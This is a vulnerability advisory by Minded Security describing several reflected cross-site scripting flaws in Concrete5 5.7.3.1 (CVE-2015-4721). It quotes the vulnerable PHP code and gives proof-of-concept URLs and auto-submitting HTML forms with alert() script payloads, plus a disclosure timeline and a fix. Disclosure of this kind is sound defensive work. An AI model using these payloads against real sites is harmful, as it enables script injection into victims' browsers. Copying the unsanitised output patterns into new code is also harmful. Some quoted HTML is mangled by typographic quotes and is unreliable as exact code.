Code
Advisories

MSA110615-2

Concrete5 <= 5.7.3.1 Multiple Reflected Cross Site Scripting

Tested Versions:

Concrete5 version 5.7.3.1

Minded Security ReferenceID:

MSA110615-2

CVE ID:

CVE-2015-4721

Credits:

Discovered by
Egidio Romano of Minded Security
egidio.romano [_at_] mindedsecurity.com

Severity:

Medium

Solution:

Update to version 5.7.4 or later.

Other references:

https://hackerone.com/reports/59661
http://www.slideshare.net/mindedsecurity/concrete5-multiplereflectedxss

Summary

Minded Security Consultants discovered during a Secure Code Review activity that Concrete5 <= 5.7.3.1 is vulnerable to multiple Reflected Cross Site Scripting vulnerabilities.

Description

Following are the reflected XSS vulnerabilities identified:

  • File: /concrete/views/panels/details/page/versions.php (lines 5-14):

<?php foreach($_REQUEST['cvID'] as $cvID) {
$tabs[] = array('view-version-' . $cvID, t('Version %s', $cvID), $checked);
$checked = false;
}
print $ih->tabs($tabs);
foreach($_REQUEST['cvID'] as $cvID) { ?>
<div id="ccm-tab-content-view-version-<?php echo $cvID?>" style="display: <?php
echo $display?>; height: 100%">
<iframe border="0" id="v<?php echo time()?>" frameborder="0" height="100%"
width="100%" src="<?php echo
REL_DIR_FILES_TOOLS_REQUIRED?>/pages/preview_version?cvID=<?php echo $cvID?>&amp;cID=<?php
echo $_REQUEST['cID']?>" />

 

User input passed through the “cvID” and “cID” request parameters is not properly sanitized before being used to generate HTML output. This can be exploited by an attacker to inject arbitrary script code into another user’s browser by tricking the victim user into visiting malicious URLs like these:


<a href="http://[host]/index.php/ccm/system/panels/details/page/versions?cID=1&cvID[]=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E%3C!--">http://[host]/index.php/ccm/system/panels/details/...</a>
<a href="http://[host]/index.php/ccm/system/panels/details/page/versions?cvID[]=1&cID=1%22%3E%3C/iframe%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E">http://[host]/index.php/ccm/system/panels/details/...</a>

 

  • File: /concrete/src/Form/Service/Widget/UserSelector.php (lines 17-35):

public function selectUser($fieldName, $uID = false, $javascriptFunc ...
$selectedUID = 0;
if (isset($_REQUEST[$fieldName])) {
$selectedUID = $_REQUEST[$fieldName];
} else if ($uID > 0) {
$selectedUID = $uID;
}
$html = '';
$html .= '<div><div><strong>';
if ($selectedUID > 0) {
$ui = UserInfo::getByID($selectedUID);
$html .= $ui->getUserName();
}
$html .= '</strong></div>';
$identifier = new \Concrete\Core\Utility\Service\Identifier();
$selector = $identifier->getString(32);
$html .= '<a data-form-user-selector="' .
$selector . '" dialog-append-buttons="true" dialog-width="90%" dialog-height="70%" dialog-
modal="false" dialog-title="' . t('Choose User') . '" href="' .
URL::to('/ccm/system/dialogs/user/search') . '">' . t('Select User') . '</a>';
$html .= '<input type="hidden" data-form-user-selector-input="' . $selector
. '" name="' . $fieldName . '" value="' . $selectedUID . '">';/>
 

 

User input passed through the “uID” request parameter is not properly sanitized before being used to generate HTML output. This can be exploited by an attacker to inject arbitrary script code into another user’s browser by tricking the victim user into visiting a malicious URL like this:

<a href="http://[host]/index.php/ccm/system/panels/details/page/attributes?cID=1&uID=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E">http://[host]/index.php/ccm/system/panels/details/...</a>

 

  • File: /concrete/elements/group/search.php (lines 4-20):

$searchRequest = $_REQUEST;
$result = Loader::helper('json')->encode($controller->getSearchResultObject()-
>getJSONObject());
$tree = GroupTree::get();
$guestGroupNode = GroupTreeNode::getTreeNodeByGroupID(GUEST_GROUP_ID);
$registeredGroupNode = GroupTreeNode::getTreeNodeByGroupID(REGISTERED_GROUP_ID);
?>
<style type="text/css">
div[data-search=groups] form.ccm-search-fields {
margin-left: 0px !important;
}
</style>
<div data-search="groups">
<script type="text/template" data-template="search-form">
<form role="form" data-search-form="groups" action="<?php echo
URL::to('/ccm/system/search/groups/submit')?>">
<input type="hidden" name="filter" value="<?php echo $searchRequest['filter']?>" />

 

User input passed through the “filter” request parameter is not properly sanitized before being used to generate HTML output. This can be exploited by an attacker to inject arbitrary script code into another user’s browser by tricking the victim user into visiting a malicious URL like this:

<a href="http://[host]/index.php/dashboard/users/groups?filter=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E">http://[host]/index.php/dashboard/users/groups?fil...</a>

 

User input passed through the “msCountry” POST parameter is not properly sanitized before being used to generate HTML output. This can be exploited by an attacker to inject arbitrary script code into another user’s browser by tricking the victim user into visiting a malicious web page like this:


<html>
<body>
“>http://[host]/index.php/dashboard/system/multiling…

<input type=”hidden” name=”msCountry” value='”><script>alert(/XSS/)</script><!–‘> </form> <script>document.forms[0].submit()</script> </body> </html>

 

User input passed through the “pageURL” POST parameter is not properly sanitized before being used to generate HTML output. This can be exploited by an attacker to inject arbitrary script code into another user’s browser by tricking the victim user into visiting a malicious web page like this:


<html>
<body>
“>http://[host]/index.php/dashboard/pages/single”>

<input type=”hidden” name=”pageURL” value='”><script>alert(/XSS/)</script>’> </form> <script>document.forms[0].submit()</script> </body> </html>

 

  • File: /concrete/attributes/select/form.php (lines 55-60):

$vals = $this->post('atSelectNewOption');
if (is_array($vals)) {
foreach($vals as $v) { ?>
<div>
<?php echo $form->hidden($this-
>field('atSelectNewOption') . '[]', $v)?>
<span><?php echo $v?></span> />

 

User input passed through the “atSelectNewOption” POST parameter is not properly sanitized before being used to generate HTML output. This can be exploited by an attacker to inject arbitrary script code into another user’s browser.

Disclosure Timeline

[05/05/2015] – Vulnerabilities details sent through HackerOne
[05/05/2015] – Vendor said that 2 out of 6 reported vulnerabilities were already fixed in development
[05/07/2015] – Version 5.7.4 released along with patches for all the 6 vulnerabilities
[06/06/2015] – Vulnerabilities publicly disclosed on HackerOne
[06/11/2015] – CVE number requested
[06/23/2015] – CVE number assigned

Disclaimer

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

Any use of this information is at the user’s own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail research_at_mindedsecurity.com for permission.

Automation

Implement the right DevSecOps automation and Continuous Web Application Scanning for your needs.

consulting minded security

Consulting

We are a Consultancy Company focused in supporting Companies to develop secure products.

testing minded security

Testing

We performs software security analysis in white box mode and black box mode.

training minded security

Training

Training and awareness in software security is critical for information security.